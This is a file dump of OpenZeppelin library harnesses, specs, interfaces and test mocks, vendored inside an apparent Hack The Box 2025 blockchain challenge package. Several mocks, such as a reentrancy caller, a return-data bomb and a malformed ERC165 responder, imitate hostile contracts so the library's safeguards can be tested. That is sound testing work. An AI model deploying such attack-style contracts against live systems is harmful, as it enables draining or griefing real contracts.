--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-ERC4626.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2022-10-ERC4626.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-05-v4.9.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-05-v4.9.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-10-v5.0.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2023-10-v5.0.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2024-10-v5.1.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/audits/2024-10-v5.1.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/.gitignore:
--------------------------------------------------------------------------------
1 | patched
2 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/AccessControlHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {AccessControl} from "../patched/access/AccessControl.sol";
5 |
6 | contract AccessControlHarness is AccessControl {}
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/ERC3156FlashBorrowerHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | import {IERC3156FlashBorrower} from "../patched/interfaces/IERC3156FlashBorrower.sol";
4 |
5 | pragma solidity ^0.8.20;
6 |
7 | contract ERC3156FlashBorrowerHarness is IERC3156FlashBorrower {
8 | bytes32 somethingToReturn;
9 |
10 | function onFlashLoan(address, address, uint256, uint256, bytes calldata) external view override returns (bytes32) {
11 | return somethingToReturn;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/ERC721ReceiverHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import "../patched/interfaces/IERC721Receiver.sol";
6 |
7 | contract ERC721ReceiverHarness is IERC721Receiver {
8 | function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
9 | return this.onERC721Received.selector;
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/NoncesHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Nonces} from "../patched/utils/Nonces.sol";
5 |
6 | contract NoncesHarness is Nonces {
7 | function useNonce(address account) external returns (uint256) {
8 | return _useNonce(account);
9 | }
10 |
11 | function useCheckedNonce(address account, uint256 nonce) external {
12 | _useCheckedNonce(account, nonce);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/Ownable2StepHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Ownable2Step, Ownable} from "../patched/access/Ownable2Step.sol";
5 |
6 | contract Ownable2StepHarness is Ownable2Step {
7 | constructor(address initialOwner) Ownable(initialOwner) {}
8 |
9 | function restricted() external onlyOwner {}
10 | }
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/OwnableHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Ownable} from "../patched/access/Ownable.sol";
5 |
6 | contract OwnableHarness is Ownable {
7 | constructor(address initialOwner) Ownable(initialOwner) {}
8 |
9 | function restricted() external onlyOwner {}
10 | }
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/PausableHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Pausable} from "../patched/utils/Pausable.sol";
5 |
6 | contract PausableHarness is Pausable {
7 | function pause() external {
8 | _pause();
9 | }
10 |
11 | function unpause() external {
12 | _unpause();
13 | }
14 |
15 | function onlyWhenPaused() external whenPaused {}
16 |
17 | function onlyWhenNotPaused() external whenNotPaused {}
18 | }
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/TimelockControllerHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {TimelockController} from "../patched/governance/TimelockController.sol";
5 |
6 | contract TimelockControllerHarness is TimelockController {
7 | constructor(
8 | uint256 minDelay,
9 | address[] memory proposers,
10 | address[] memory executors,
11 | address admin
12 | ) TimelockController(minDelay, proposers, executors, admin) {}
13 | }
14 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2021-10.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2021-10.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-03.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-03.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-05.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-05.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IAccessControl.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function DEFAULT_ADMIN_ROLE() external returns (bytes32) envfree;
3 | function hasRole(bytes32, address) external returns(bool) envfree;
4 | function getRoleAdmin(bytes32) external returns(bytes32) envfree;
5 | function grantRole(bytes32, address) external;
6 | function revokeRole(bytes32, address) external;
7 | function renounceRole(bytes32, address) external;
8 | }
9 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IAccessManaged.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function authority() external returns (address) envfree;
3 | function isConsumingScheduledOp() external returns (bytes4) envfree;
4 | function setAuthority(address) external;
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC2612.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external;
3 | function nonces(address) external returns (uint256) envfree;
4 | function DOMAIN_SEPARATOR() external returns (bytes32) envfree;
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC3156FlashBorrower.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function _.onFlashLoan(address,address,uint256,uint256,bytes) external => DISPATCHER(true);
3 | }
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC3156FlashLender.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function maxFlashLoan(address) external returns (uint256) envfree;
3 | function flashFee(address,uint256) external returns (uint256) envfree;
4 | function flashLoan(address,address,uint256,bytes) external returns (bool);
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC5313.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function owner() external returns (address) envfree;
3 | }
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC721Receiver.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function _.onERC721Received(address,address,uint256,bytes) external => DISPATCHER(true);
3 | }
4 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IOwnable.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function owner() external returns (address) envfree;
3 | function transferOwnership(address) external;
4 | function renounceOwnership() external;
5 | }
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IOwnable2Step.spec:
--------------------------------------------------------------------------------
1 | methods {
2 | function owner() external returns (address) envfree;
3 | function pendingOwner() external returns (address) envfree;
4 | function transferOwnership(address) external;
5 | function acceptOwnership() external;
6 | function renounceOwnership() external;
7 | }
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/account/README.adoc:
--------------------------------------------------------------------------------
1 | = Account
2 |
3 | [.readme-notice]
4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/account
5 |
6 | This directory includes contracts to build accounts for ERC-4337.
7 |
8 | == Utilities
9 |
10 | {{ERC4337Utils}}
11 |
12 | {{ERC7579Utils}}
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/finance/README.adoc:
--------------------------------------------------------------------------------
1 | = Finance
2 |
3 | [.readme-notice]
4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance
5 |
6 | This directory includes primitives for financial systems:
7 |
8 | - {VestingWallet} handles the vesting of Ether and ERC-20 tokens for a given beneficiary. Custody of multiple tokens can
9 | be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting
10 | schedule.
11 |
12 | == Contracts
13 |
14 | {{VestingWallet}}
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC1155.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1155.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC1155} from "../token/ERC1155/IERC1155.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC1155MetadataURI.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1155MetadataURI.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC1155MetadataURI} from "../token/ERC1155/extensions/IERC1155MetadataURI.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC1155Receiver.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1155Receiver.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC1155Receiver} from "../token/ERC1155/IERC1155Receiver.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC165.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC165.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC165} from "../utils/introspection/IERC165.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC20.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC20} from "../token/ERC20/IERC20.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC20Metadata.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20Metadata.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC20Metadata} from "../token/ERC20/extensions/IERC20Metadata.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC2612.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC2612.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC20Permit} from "../token/ERC20/extensions/IERC20Permit.sol";
7 |
8 | interface IERC2612 is IERC20Permit {}
9 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC3156.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC3156.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC3156FlashBorrower} from "./IERC3156FlashBorrower.sol";
7 | import {IERC3156FlashLender} from "./IERC3156FlashLender.sol";
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC5313.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5313.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | /**
7 | * @dev Interface for the Light Contract Ownership Standard.
8 | *
9 | * A standardized minimal interface required to identify an account that controls a contract
10 | */
11 | interface IERC5313 {
12 | /**
13 | * @dev Gets the address of the owner.
14 | */
15 | function owner() external view returns (address);
16 | }
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC5805.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5805.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IVotes} from "../governance/utils/IVotes.sol";
7 | import {IERC6372} from "./IERC6372.sol";
8 |
9 | interface IERC5805 is IERC6372, IVotes {}
10 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC721} from "../token/ERC721/IERC721.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721Enumerable.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721Enumerable.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC721Enumerable} from "../token/ERC721/extensions/IERC721Enumerable.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721Metadata.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721Metadata.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC721Metadata} from "../token/ERC721/extensions/IERC721Metadata.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721Receiver.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721Receiver.sol)
3 |
4 | pragma solidity ^0.8.20;
5 |
6 | import {IERC721Receiver} from "../token/ERC721/IERC721Receiver.sol";
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/Base64Dirty.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import {Base64} from "../utils/Base64.sol";
6 |
7 | contract Base64Dirty {
8 | struct A {
9 | uint256 value;
10 | }
11 |
12 | function encode(bytes memory input) public pure returns (string memory) {
13 | A memory unused = A({value: type(uint256).max});
14 | // To silence warning
15 | unused;
16 |
17 | return Base64.encode(input);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MaliciousData.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | contract ERC165MaliciousData {
6 | function supportsInterface(bytes4) public pure returns (bool) {
7 | assembly {
8 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
9 | return(0, 32)
10 | }
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MissingData.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | contract ERC165MissingData {
6 | function supportsInterface(bytes4 interfaceId) public view {} // missing return
7 | }
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165NotSupported.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | contract ERC165NotSupported {}
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165ReturnBomb.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import {IERC165} from "../../utils/introspection/IERC165.sol";
6 |
7 | contract ERC165ReturnBombMock is IERC165 {
8 | function supportsInterface(bytes4 interfaceId) public pure override returns (bool) {
9 | if (interfaceId == type(IERC165).interfaceId) {
10 | assembly {
11 | mstore(0, 1)
12 | }
13 | }
14 | assembly {
15 | return(0, 101500)
16 | }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/EtherReceiverMock.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | contract EtherReceiverMock {
6 | bool private _acceptEther;
7 |
8 | function setAcceptEther(bool acceptEther) public {
9 | _acceptEther = acceptEther;
10 | }
11 |
12 | receive() external payable {
13 | if (!_acceptEther) {
14 | revert();
15 | }
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ReentrancyAttack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import {Context} from "../utils/Context.sol";
6 |
7 | contract ReentrancyAttack is Context {
8 | function callSender(bytes calldata data) public {
9 | (bool success, ) = _msgSender().call(data);
10 | require(success, "ReentrancyAttack: failed call");
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/MyNFT.sol:
--------------------------------------------------------------------------------
1 | // contracts/MyNFT.sol
2 | // SPDX-License-Identifier: MIT
3 | pragma solidity ^0.8.20;
4 |
5 | import {ERC721} from "../../token/ERC721/ERC721.sol";
6 |
7 | contract MyNFT is ERC721 {
8 | constructor() ERC721("MyNFT", "MNFT") {}
9 | }
10 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/access-control/AccessControlModified.sol:
--------------------------------------------------------------------------------
1 | // contracts/AccessControlModified.sol
2 | // SPDX-License-Identifier: MIT
3 | pragma solidity ^0.8.20;
4 |
5 | import {AccessControl} from "../../../access/AccessControl.sol";
6 |
7 | contract AccessControlModified is AccessControl {
8 | error AccessControlNonRevokable();
9 |
10 | // Override the revokeRole function
11 | function revokeRole(bytes32, address) public pure override {
12 | revert AccessControlNonRevokable();
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/access-control/MyContractOwnable.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import {Ownable} from "../../../access/Ownable.sol";
6 |
7 | contract MyContract is Ownable {
8 | constructor(address initialOwner) Ownable(initialOwner) {}
9 |
10 | function normalThing() public {
11 | // anyone can call this normalThing()
12 | }
13 |
14 | function specialThing() public onlyOwner {
15 | // only the owner can call specialThing()!
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/token/ERC1155/MyERC115HolderContract.sol:
--------------------------------------------------------------------------------
1 | // contracts/MyERC115HolderContract.sol
2 | // SPDX-License-Identifier: MIT
3 | pragma solidity ^0.8.20;
4 |
5 | import {ERC1155Holder} from "../../../../token/ERC1155/utils/ERC1155Holder.sol";
6 |
7 | contract MyERC115HolderContract is ERC1155Holder {}
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/token/ERC20/GLDToken.sol:
--------------------------------------------------------------------------------
1 | // contracts/GLDToken.sol
2 | // SPDX-License-Identifier: MIT
3 | pragma solidity ^0.8.20;
4 |
5 | import {ERC20} from "../../../../token/ERC20/ERC20.sol";
6 |
7 | contract GLDToken is ERC20 {
8 | constructor(uint256 initialSupply) ERC20("Gold", "GLD") {
9 | _mint(msg.sender, initialSupply);
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/utilities/Multicall.sol:
--------------------------------------------------------------------------------
1 | // contracts/Box.sol
2 | // SPDX-License-Identifier: MIT
3 | pragma solidity ^0.8.20;
4 |
5 | import {Multicall} from "../../../utils/Multicall.sol";
6 |
7 | contract Box is Multicall {
8 | function foo() public {
9 | // ...
10 | }
11 |
12 | function bar() public {
13 | // ...
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/proxy/BadBeacon.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | contract BadBeaconNoImpl {}
6 |
7 | contract BadBeaconNotContract {
8 | function implementation() external pure returns (address) {
9 | return address(0x1);
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20ApprovalMock.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {ERC20} from "../../token/ERC20/ERC20.sol";
5 |
6 | abstract contract ERC20ApprovalMock is ERC20 {
7 | function _approve(address owner, address spender, uint256 amount, bool) internal virtual override {
8 | super._approve(owner, spender, amount, true);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20DecimalsMock.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import {ERC20} from "../../token/ERC20/ERC20.sol";
6 |
7 | abstract contract ERC20DecimalsMock is ERC20 {
8 | uint8 private immutable _decimals;
9 |
10 | constructor(uint8 decimals_) {
11 | _decimals = decimals_;
12 | }
13 |
14 | function decimals() public view override returns (uint8) {
15 | return _decimals;
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20ExcessDecimalsMock.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | contract ERC20ExcessDecimalsMock {
6 | function decimals() public pure returns (uint256) {
7 | return type(uint256).max;
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
